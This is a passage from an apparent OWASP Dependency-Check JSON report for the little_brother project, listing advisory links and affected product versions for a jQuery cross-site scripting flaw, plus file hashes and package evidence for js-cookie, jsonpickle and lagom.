              "url": "https:\/\/lists.apache.org\/thread.html\/r9006ad2abf81d02a0ef2126bab5177987e59095b7194a487c4ea247c%40%3Ccommits.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67%40%3Cdev.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2022.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r55f5e066cc7301e3630ce90bbbf8d28c82212ae1f2d4871012141494%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r0593393ca1e97b1e7e098fe69d414d6bd0a467148e9138d07e86ebbb%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rf0f8939596081d84be1ae6a91d6248b96a02d8388898c372ac807817%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r3702ede0ff83a29ba3eb418f6f11c473d6e3736baba981a8dbd9c9ef%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r07ab379471fb15644bf7a92e4a98cbc7df3cf4e736abae0cc7625fe6%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r4dba67be3239b34861f1b9cfdf9dfb3a90272585dcce374112ed6e16%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-07\/msg00085.html",
              "name": "BROKEN_LINK"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/jquery.com\/upgrade-guide\/3.5\/",
              "name": "RELEASE_NOTES,VENDOR_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2022.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/radcb2aa874a79647789f3563fcbbceaf1045a029ee8806b59812a8ea%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-02",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ra32c7103ded9041c7c1cb8c12c8d125a6b2f3f3270e2937ef8417fac%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/security.netapp.com\/advisory\/ntap-20200511-0006\/",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rf661a90a15da8da5922ba6127b3f5f8194d4ebec8855d60a0dd13248%40%3Cdev.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/security.gentoo.org\/glsa\/202007-03",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2021\/03\/msg00033.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.drupal.org\/sa-core-2020-002",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-11\/msg00039.html",
              "name": "BROKEN_LINK,MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/packetstormsecurity.com\/files\/162160\/jQuery-1.0.3-Cross-Site-Scripting.html",
              "name": "EXPLOIT,THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/github.com\/jquery\/jquery\/security\/advisories\/GHSA-jpcq-cgw6-v4j6",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2020.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rda99599896c3667f2cc9e9d34c7b6ef5d2bbed1f4801e1d75a2b0679%40%3Ccommits.nifi.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released",
              "name": "RELEASE_NOTES,VENDOR_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-07\/msg00067.html",
              "name": "BROKEN_LINK"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ra406b3adfcffcb5ce8707013bdb7c35e3ffc2776a8a99022f15274c6%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/\/security-alerts\/cpujul2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r2c85121a47442036c7f8353a3724aa04f8ecdfda1819d311ba4f5330%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r6e97b37963926f6059ecc1e417721608723a807a76af41d4e9dbed49%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-10",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2020.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r094f435595582f6b5b24b66fedf80543aa8b1d57a3688fbcc21f06ec%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r4aadb98086ca72ed75391f54167522d91489a0d0ae25b12baa8fc7c5%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r9c5fda81e4bca8daee305b4c03283dddb383ab8428a151d4cb0b3b15%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r9e0bd31b7da9e7403478d22652b8760c946861f8ebd7bd750844898e%40%3Cdev.felix.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rab82dd040f302018c85bd07d33f5604113573514895ada523c3401d9%40%3Ccommits.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuapr2022.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rb69b7d8217c1a6a2100247a5d06ce610836b31e3f5d73fc113ded8e7%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rd38b4185a797b324c8dd940d9213cf99fcdc2dbf1fc5a63ba7dee8c9%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r1fed19c860a0d470f2a3eded12795772c8651ff583ef951ddac4918c%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rb25c3bc7418ae75cba07988dafe1b6912f76a9dd7d94757878320d61%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r6c4df3b33e625a44471009a172dabe6865faec8d8f21cac2303463b1%40%3Cissues.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B\/"
            },
            {
              "source": "info",
              "url": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/",
              "name": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "7.0",
                "versionEndExcluding": "7.70"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.7.0",
                "versionEndExcluding": "8.7.14"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.8.0",
                "versionEndExcluding": "8.8.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "1.0.3",
                "versionEndExcluding": "3.5.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:max_data:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:oncommand_insight:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:oncommand_system_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "3.0",
                "versionEndIncluding": "3.1.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:snap_creator_framework:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:snapcenter_server:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "20.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.3.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_enterprise_collections:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.7.0",
                "versionEndIncluding": "2.8.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_platform:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.4.0",
                "versionEndIncluding": "2.10.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_intelligence:5.9.0.0.0:*:*:*:enterprise:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_analytics:12.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_eagle_application_processor:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "16.1.0",
                "versionEndIncluding": "16.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_interactive_session_recorder:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "6.1",
                "versionEndIncluding": "6.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.1",
                "versionEndIncluding": "4.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:3.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_services_gatekeeper:7.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_de_nederlandsche_bank:8.0.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_revenue_management_and_billing_analytics:2.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_revenue_management_and_billing_analytics:2.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:health_sciences_inform:6.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.3.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.3.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hyperion_financial_reporting:11.1.2.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_orchestrator:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "9.2.5.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "9.2.5.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:oss_support_tools:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "2.12.41"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_human_capital_management_resources:9.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "16.2",
                "versionEndIncluding": "16.2.11"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "17.12.0",
                "versionEndIncluding": "17.12.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "18.8.0",
                "versionEndIncluding": "18.8.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "19.12.0",
                "versionEndIncluding": "19.12.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:18c:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:19c:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:11.2.0.4:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:12.1.0.2:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:12.2.0.1:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_mobile:*:*:*:*:*:*:*:*",
                "versionEndIncluding": "20.12"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:storagetek_acsls:8.5.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:storagetek_tape_analytics_sw_tool:2.3.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:webcenter_sites:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:webcenter_sites:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:tenable:log_correlation_engine:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "6.0.9"
              }
            }
          ]
        },
        {
          "source": "RETIREJS",
          "name": "jquery issue: 162",
          "unscored": "true",
          "severity": "low",
          "cwes": [],
          "description": "jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates",
          "notes": "",
          "references": [
            {
              "source": "issue",
              "name": "162"
            },
            {
              "source": "retid",
              "name": "73"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/jquery\/jquery.com\/issues\/162",
              "name": "https:\/\/github.com\/jquery\/jquery.com\/issues\/162"
            }
          ],
          "vulnerableSoftware": []
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "js-cookie.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/js-cookie\/js-cookie.js",
      "md5": "a978ac73947aafe8d788208c9ededec8",
      "sha1": "9a484703647a6fdafc297c7ecf63d73e53fc6f13",
      "sha256": "bb2efb91edfb6e05274fb68d4c8774d112f6ee22436c200f6e4faa8770c532a0",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "js-cookie.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/js-cookie\/js-cookie.js",
          "sha256": "bb2efb91edfb6e05274fb68d4c8774d112f6ee22436c200f6e4faa8770c532a0",
          "sha1": "9a484703647a6fdafc297c7ecf63d73e53fc6f13",
          "md5": "a978ac73947aafe8d788208c9ededec8"
        },
        {
          "isVirtual": false,
          "fileName": "js-cookie.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/js-cookie\/js-cookie.js",
          "sha256": "bb2efb91edfb6e05274fb68d4c8774d112f6ee22436c200f6e4faa8770c532a0",
          "sha1": "9a484703647a6fdafc297c7ecf63d73e53fc6f13",
          "md5": "a978ac73947aafe8d788208c9ededec8"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: js-cookie.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/contrib\/js-cookie\/js-cookie.js",
          "sha256": "bb2efb91edfb6e05274fb68d4c8774d112f6ee22436c200f6e4faa8770c532a0",
          "sha1": "9a484703647a6fdafc297c7ecf63d73e53fc6f13",
          "md5": "a978ac73947aafe8d788208c9ededec8"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: js-cookie.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/js-cookie\/js-cookie.js",
          "sha256": "bb2efb91edfb6e05274fb68d4c8774d112f6ee22436c200f6e4faa8770c532a0",
          "sha1": "9a484703647a6fdafc297c7ecf63d73e53fc6f13",
          "md5": "a978ac73947aafe8d788208c9ededec8"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "jsonpickle:3.0.2",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:jsonpickle\/3.0.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "jsonpickle"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "jsonpickle"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jsonpickle@3.0.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jsonpickle@3.0.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:jsonpickle_project:jsonpickle:3.0.2:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Ajsonpickle_project&cpe_product=cpe%3A%2F%3Ajsonpickle_project%3Ajsonpickle&cpe_version=cpe%3A%2F%3Ajsonpickle_project%3Ajsonpickle%3A3.0.2"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "jsonpickle:3.0.2",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:jsonpickle\/3.0.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "jsonpickle"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "jsonpickle"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.0.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jsonpickle@3.0.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jsonpickle@3.0.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:jsonpickle_project:jsonpickle:3.0.2:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Ajsonpickle_project&cpe_product=cpe%3A%2F%3Ajsonpickle_project%3Ajsonpickle&cpe_version=cpe%3A%2F%3Ajsonpickle_project%3Ajsonpickle%3A3.0.2"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "lagom:2.5.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:lagom\/2.5.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "lagom"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "lagom"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.5.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/lagom@2.5.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/lagom@2.5.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "lagom:2.5.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:lagom\/2.5.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "lagom"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "lagom"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.5.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/lagom@2.5.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/lagom@2.5.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: PKG-INFO",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/PKG-INFO",
      "md5": "5fba1130ce910b8b6f088fc5d82aaa64",
      "sha1": "bf47f7c975245ed3389a65af3631d856ca99b155",
      "sha256": "02550adee9dab9ba783f1720582c9b4575a07fc7841a25fe1c03fbfc1fc7da8e",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother:0.5.1",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother.egg-info\/PKG-INFO",
          "sha256": "02550adee9dab9ba783f1720582c9b4575a07fc7841a25fe1c03fbfc1fc7da8e",
          "sha1": "bf47f7c975245ed3389a65af3631d856ca99b155",
          "md5": "5fba1130ce910b8b6f088fc5d82aaa64",
